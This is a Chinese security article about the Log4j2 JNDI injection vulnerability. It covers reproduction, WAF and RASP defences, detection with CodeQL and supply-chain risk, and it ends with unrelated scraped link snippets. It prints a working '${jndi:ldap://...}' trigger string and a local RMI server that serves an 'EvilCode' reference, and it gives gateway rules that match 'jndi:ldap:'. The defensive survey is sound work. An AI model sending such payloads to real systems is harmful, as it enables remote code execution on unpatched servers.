面对 Log4j2 漏洞,安全人都做了什么?
摘要:本文从漏洞复现、漏洞防护、漏洞检测、软件供应链安全等方面,介绍安全人针对该漏洞做的尝试。
本文分享自华为云社区《面对 Log4j2 漏洞,安全人都做了什么?》,作者:maijun。
Apache Log4j2是Java开发领域,应用非常广泛的一款日志记录框架。Apache Log4j2漏洞从刚刚爆发,就因影响范围之大、危险程度之高(该漏洞可能导致设备远程受控,进而引发敏感信息窃取、设备服务中断等严重危害,属于高危漏洞。),成为了一个知名漏洞[1],吸引了安全圈所有人的目光,甚至工信部也专门针对 Log4j2 漏洞给出了风险提示[2]。那么,面对 Log4j2,安全圈的安全人们,都做出了什么反应呢?
1. Log4j2 漏洞复现
在 Log4j2 漏洞爆发之初,往上已经有各种针对该漏洞(JNDI注入漏洞)的复现资料给出,从实现上,都是用来执行任意代码。
在漏洞复现中,主要有两部分:
(1) 基于 Log4j2 开发的,自身存在漏洞的代码
这部分实现并不特殊,因为 Log4j2 的 JNDI 注入漏洞,几乎没有防护,因此不管是开发的 Web 服务还是普通 Java 应用,只要用到了 Log4j2 有漏洞的版本,都存在这方面的漏洞。比如下面的简单案例:
public static void main(String[] args) {
//有些高版本jdk需要打开此行代码
//System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
//模拟填写数据,输入构造好的字符串,使受害服务器打印日志时执行远程的代码 同一台可以使用127.0.0.1
logger.error("${jndi:ldap://localhost:1389/Exploit}");
}
(2) 基于 JNDI 的 LDAP/RMI 服务搭建
在实现上,因为 Log4j2 的 JNDI 注入漏洞,几乎没有防护,因此复现的重点在于如何快速搭建一个JNDI服务。其实介绍到这部分,已经跟 Log4j2 漏洞没有太大的关系,任何的 JNDI 注入漏洞,都会涉及到下面的部分事项。下面介绍几种相关的实现。
① 南极进口哈士奇[3] 在 freebuf 上的复现中,采用了一款可以快速启动RMI和LDAP服务的工具,名字是 marshalsec[4],该工具,也是我遇到的复现中,应用最多的工具。
② hacker-jia[5] 在 cnblogs 上的复现中,采用了一款开源工具JNDI-Injection-Exploit[6],从名字来看,是专门用于 JNDI注入漏洞测试的工具。
③ oneforever[7] 在 segmentfault 上的复现中,则没有采用专用工具,直接本地启动了一个RMI服务器,代码如下所示:
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; /**
* 准备好RMI服务端,等待受害服务器访问
*/
public class RMIServer {
public static void main(String[] args) {
try {
// 本地主机上的远程对象注册表Registry的实例,默认端口1099
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
System.out.println("Create RMI registry on port 1099");
//返回的Java对象 第一个参数为包路径
Reference reference = new Reference("EvilCode","EvilCode",null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
// 把远程对象注册到RMI注册服务器上,并命名为evil
registry.bind("evil",referenceWrapper);
} catch (RemoteException | AlreadyBoundException | NamingException e) {
e.printStackTrace();
}
}
}
在笔者收集的资料中,复现文章非常多,目前自己搭建 JNDI 服务(LDAP 或 RMI)的,有上面三个。另外也有专门用于 JNDI注入测试的 docker 镜像,可以直接启动 docker 容器,然后进行攻击。
2. Log4j2 漏洞防护
(1) 安全防护公告
在漏洞刚刚爆发时,各大厂商就针对该漏洞发出各式各样的公告,提醒及时升级 Log4j2 的版本。这里就不再罗列了,因为当时朋友圈全部都是该漏洞的说明,好像安全圈不转发一下,就缺少了点儿什么似的,这里将重点放在下面的防护策略上。
(2) 基于WAF、网关等安全防护
Web应用防火墙和网关等产品,可以在外部的http请求过来时,对请求进行拦截,然后通过配置规则(如参数以 "jndi:ldap://" 或者 "jndi:rmi" 开头)对请求的参数进行校验,如果符合漏洞特征,进行漏洞预警。例如华为云[7]、阿里云[8] 等均在第一时间提供了相应的检查服务。
另外,除了上述商用的WAF产品,也有一些开源网关产品,可以实现对参数进行拦截,如Apache APISIX[9],在 糖果的实验室[10] 的文章中,给出了一个拦截策略:
$ curl http://127.0.0.1:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"uri": "/*",
"plugins":{
"serverless-pre-function":{
"phase":"rewrite",
"functions":[
"return function(conf, ctx) local core = require(\"apisix.core\"); local payload, err = core.request.get_body(); if not payload then local uri_args, err = core.request.get_uri_args(ctx)\n if uri_args then payload = core.json.encode(uri_args, true) end; end; local m = ngx.re.match(payload, \"jndi:ldap:\", \"jo\"); if m then ngx.exit(401) end; end"
]
}
},
"upstream": {
"type": "roundrobin",
"nodes": {
"127.0.0.1:1980": 1
}
}
}'
(3) 基于字节码增强技术(RASP)安全防护
RASP是基于Java字节码增强技术,而实现的工具,可以在程序运行中,动态修改运行的程序。因此,可以很方便地,在 Log4j2 打日志的地方,校验要打印的数据内容,进行拦截。当前绝大部分放到程序执行机器上面的插件,都是基于该方案实施的。各大厂商,几乎都针对漏洞,提出了相关的插件。比如蚂蚁切面安全RASP[11]、青藤云[12]、阿里云云上RASP[8]等。
(4) 基于流量监控的安全防护
异常流量监控的方式,检查针对 jndi:ldap 或 jndi:rmi 的异常流量信息,来检测是否已经有利用该漏洞的执行任务。比如阿里的流量检测[8].
(5) 其他安全防护方式
其他部分解决方案,还有:
① 针对线上容器服务无法及时升级并更新容器的问题,腾讯云鼎实验室开发并开源了一键处置工具[13],其采用的主要机制是:

② 360CERT发布Log4j2恶意荷载批量检测调查工具[14],该工具批量下载ldap字符串荷载包含的远程恶意class文件,class文件可进行进一步的分析调查取证。
3. Log4j2 漏洞检测
主要有两个层面:① 在不清楚有这个漏洞的情况下,如果检测出来可能存在的 JNDI注入漏洞?② 已知 Log4j2 相关版本有此漏洞的排查。
其实后者更容易实现,属于开源代码检测的一个范围,对最终的发布包进行检测即可。最重要的是前者。
该漏洞的提出,使一个静态代码分析工具 CodeQL[16] 进入我们的视野[15],文中提到在 CodeQL 中,以前已经有了相关规则可以检查该漏洞。
4. 软件供应链安全提示
(1) 供应链和供应链攻击
由于现代软件功能越来越复杂,需要适配的平台也越来越多,因此,软件开发和运营方更倾向于使用第三方代码来实现某些专业功能,或使用第三方提供的集成开发工具进行软件的开发编译。这些第三方代码或者第三方集成开发工具由上游供应商开发,经中游分发,最后在下游被集成和使用,整体形成的链状结构被称为软件供应链。软件供应链攻击,就是攻击者在软件供应链条的上游或中游开始介入,通过感染上游制品或者破坏中游的制品分发过程,将恶意活动及其后效应向下游进行传播,对最终用户造成危害。随着互联网的快速发展,大多数软件已经成为自研模块、第三方商业软件模块以及开源软件模块的混合体,而自研模块占比逐渐降低,第三方商业软件和开源软件模块逐渐增多。在此背景下,软件供应链攻击越来越频繁[17],软件供应链攻击有隐蔽性强和影响面大两个特征。
Log4j2作为一个堪比标准库的基础日志库,无数的开源 Java 组件直接或间接依赖于它(只统计1~4层的依赖血缘关系,直接和间接Log4j2的开源组件总计有17万个,也就是说有至少17万个开源组件是受Log4j2漏洞影响)。作为软件供应链中的核心原始组件,组件自身的漏洞带给整个软件供应链的影响是最为直接、隐秘,也是影响最为深远的[18]。
(2) 如果保证软件供应链安全
墨菲安全实验室[19]分别从全球开源软件生态健康发展安全建设角度和企业应该如何有效控制所使用的软件供应链存在的安全风险两方面给出了建议。
在企业应该如何有效控制所使用的软件供应链存在的安全风险方面,墨菲安全认为,可以从以下四个方面着手:
① 建立有效的第三方软件管理机制;
② 供应链资产的识别和管理;
③ 漏洞缺陷的检测,比如华为云VSS在漏洞爆出来的第一时间对该漏洞的检查提供了支持[20];
④ 高效的修复能力支撑。
在开源软件监控发展的安全建设上,墨菲安全实验室也分别从开源软件提供者、开源软件的分发者和开源软件的使用者三方面给出了建议。
5. 参考资料
(1) Log4j2 核弹级漏洞:全球6万+开源软件受影响(https://www.163.com/dy/article/GRAOM46F0511D6RL.html?f=post2020_dy_recommends)
(2) 关于阿帕奇Log4j2组件重大安全漏洞的网络安全风险提示(https://wap.miit.gov.cn/xwdt/gxdt/sjdt/art/2021/art_7587d13959e24aeb86887f7ef60d50d3.html)
(3) Apache Log4j2远程代码执行漏洞复现(https://www.freebuf.com/articles/web/308238.html)
(4) https://github.com/mbechler/marshalsec
(5) Apache log4j2-RCE 漏洞复现(https://www.cnblogs.com/gaojia-hackerone/p/15689369.html)
(6) https://github.com/welk1n/JNDI-Injection-Exploit
(7) Apache Log4j2远程代码执行漏洞攻击,华为云安全支持检测拦截(https://developer.huawei.com/consumer/cn/forum/topic/0202746371826330447?fid=0101592429757310384)
(8) Apache Log4j2 丨阿里云「流量+应用+主机」三重检测防护指南(https://www.anquanke.com/post/id/262920)
(9) https://github.com/apache/apisix
(10) 基于开源网关拦截Apache Log4j漏洞(https://www.freebuf.com/vuls/308302.html)
(11) Apache Log4j2漏洞的爆炸力(https://segmentfault.com/a/1190000041132637)
(12) https://github.com/qingtengyun/cve-2021-44228-qingteng-online-patch
(13) https://github.com/YunDingLab/fix_log4j2
(14) 360CERT发布Log4j2恶意荷载批量检测调查工具(https://my.oschina.net/u/4600927/blog/5371617)
(15) log4j2的codeql规则(https://cn-sec.com/archives/675017.html)
(16) https://github.com/github/codeql
(17) Log4j2史诗级漏洞引发的移动应用软件供应链安全分析与建议(http://www.infosecworld.cn/index.php?m=content&c=index&a=show&catid=25&id=378)
(18) 从供应链角度看LOG4J2 0DAY漏洞(http://blog.nsfocus.net/log4j2-0day-chain/)
(19) Log4j2漏洞背后是全球软件供应链风险面临失控(https://zhuanlan.zhihu.com/p/445191338)
(20) Apache Log4j2远程代码执行漏洞攻击,华为云安全支持检测拦截(https://bbs.huaweicloud.com/forum//forum.php?mod=viewthread&tid=173249)
面对 Log4j2 漏洞,安全人都做了什么?的更多相关文章
- IT人都非常忙(茫)
我发现.身边的盆友都非常忙,要么在加班.要么加班刚回家:要么在出差,要么刚出差回来. 难道搞IT的人都非常忙么?忙还是茫? 大学期间.不知道未来要干什么.非常多人也不清楚应该学习哪些知识和技能.是否须 ...
- IT人都很忙(茫)
我发现,身边的盆友都很忙,要么在加班,要么加班刚回家:要么在出差,要么刚出差回来. 难道搞IT的人都很忙么?忙还是茫? 大学期间,不知道未来要干什么,很多人也不清楚应该学习哪些知识和技能,是否需要考证 ...
- 上传伪技术~很多人都以为判断了后缀,判断了ContentType,判断了头文件就真的安全了。是吗?
今天群里有人聊图片上传,简单说下自己的经验(大牛勿喷) 0.如果你的方法里面是有指定路径的,记得一定要过滤../,比如你把 aa文件夹设置了权限,一些类似于exe,asp,php之类的文件不能执行,那 ...
- 99%的人都理解错了HTTP中GET与POST的区别(转载
GET和POST是HTTP请求的两种基本方法,要说它们的区别,接触过WEB开发的人都能说出一二. 最直观的区别就是GET把参数包含在URL中,POST通过request body传递参数. 你可能自己 ...
- 99%的人都理解错了HTTP中GET与POST的区别
GET和POST是HTTP请求的两种基本方法,要说它们的区别,接触过WEB开发的人都能说出一二. 最直观的区别就是GET把参数包含在URL中,POST通过request body传递参数. 你可能自己 ...
- 身处IT的你对身边人都有哪些影响
前不久,跟外甥一起吃饭:他明年就要中考了,我就想,这马上就到人生的关键路口了,看他自己对将来有什么想法没:就问了句:勇勇,你以后想学习哪些方面的东西或者想从事什么工作呢?他简单的说了句:我要跟你一样学 ...
- 观点:哪些人适合做FPGA开发?(转)
原文:http://xilinx.eetrend.com/blog/561 FPGA目前非常火,各个高校也开了FPGA的课程,但是FPGA并不是每个人都适合,FPGA讲究的是一个入道,入什么道,入电子 ...
- Oracle运维 专业的事情交给专业的人来做
关于Oracle运维的重要性,随便写了几句,放在这儿和大家共勉. Oracle数据库在RDBMS中独占熬头,07年统计其市场份额占关系数据库市场的48.6%稳居首位,而且逐年增加,上升势头强劲.在使用 ...
- 很多人都在埋怨没有遇到好的团队,但好的团队不可能凭空出现,一流的团队不能仅靠团队成员努力,作为Leader,要有可行的规划,并坚定地执行、时势地调整(转)
<西游记>中的唐僧团队历经千难万险,终于求得真经,目标明确.分工合理为这支队伍最终走向成功奠定了基础.唐僧从一开始,就为这个团队设定了西天取经的目标,虽然经历各种挫折与磨难,但目标从未动摇 ...
- 所有人都可以是开发人员——《Office 365开发入门指南》视频教程即将上市
今天是春节假期的最后一天,在这里给全国的朋友们拜个晚年,祝大家身体健康,晚年幸福啊.这个春节大家过的怎么样啊,我自己是在老家过的年,家乡的年味还是比较浓的,也再次感谢朋友圈的大家给我看了各地的风光 ...
随机推荐
- shell- ssh免密登录脚本
#!/bin/sh . /etc/init.d/functions #1.product key pair /usr/bin/rm -f .ssh/* 2&>/dev/null [ -f ...
- DS18B20初始化-读-写-温度转换
DS18B20 (一)初始化 (二)读字节 (三)写字节 (四)温度转换 1获得数据 2转换数据 (一)初始化 初始化时序: 数据线先拉到高电平,稍作延时即可(刚开始是高电平还是低电平芯片手册上其实不 ...
- C.C++作用域和static用法
C++ 变量根据定义的位置的不同的生命周期,具有不同的作用域,作用域可分为 6 种:全局作用域,局部作用域,语句作用域,类作用域,命名空间作用域和文件作用域. 从作用域看: 全局变量具有全局作用域.全 ...
- 【Javaweb】瑞吉外卖你冲不冲?冲冲!冲!冲冲!(数据库环境搭建)(maven项目搭建)一
图形界面创建数据库(Navicat) 命令行方式创建 瑞吉项目一共涉及到十一张表 导入表结构,既可以使用上面的图形界面,也可以使用MySQL命令: 通过命令导入表结构时,注意sql文件不要放在中文目录 ...
- 【源码系列#03】Vue3计算属性原理(Computed)
专栏分享:vue2源码专栏,vue3源码专栏,vue router源码专栏,玩具项目专栏,硬核推荐 欢迎各位ITer关注点赞收藏 语法 传入一个 getter 函数,返回一个默认不可手动修改的 ref ...
- Web前端工程的装机必备软件
前言 最近作者的电脑 C 盘变红了,这让我很难受(有点小强迫症),所以准备重新安装下系统,顺便把 C 盘扩大点. 注意: 操作系统是 windows 11 23H2. 所有的命令行都是使用 Windo ...
- IP交付标准总结。
RTL顶层代码,IP内部需要IP自己完成连接并保证正确,CM/PLL/MCU/SRAM/TX/RX内部模块不接受外部进行拼接,DFT内部自己处理.IP用到的宏,名称功能文档要说明清楚.优先使用硬核IP ...
- free内存参数介绍
第一部分Mem行: total 内存总数: 15.7G used 已经使用的内存数: 15.6G free 空闲的内存数: 93M shared 当前已经废弃不用,总是0 buffers Buffer ...
- Colaboratory使用教程
Google Colaboratory 是一个 Google 研究项目,旨在帮助传播机器学习培训和研究成果.它是一个 Jupyter 笔记本环境,不需要进行任何设置就可以使用,并且完全在云端运行.同时 ...
- MD5在文件安全中的应用与重要性
一.MD5简介 MD5(Message-Digest Algorithm 5)是一种广泛应用的密码散列函数,由美国密码学家罗纳德·李维斯特(Ronald Linn Rivest)于1992年提出.它主 ...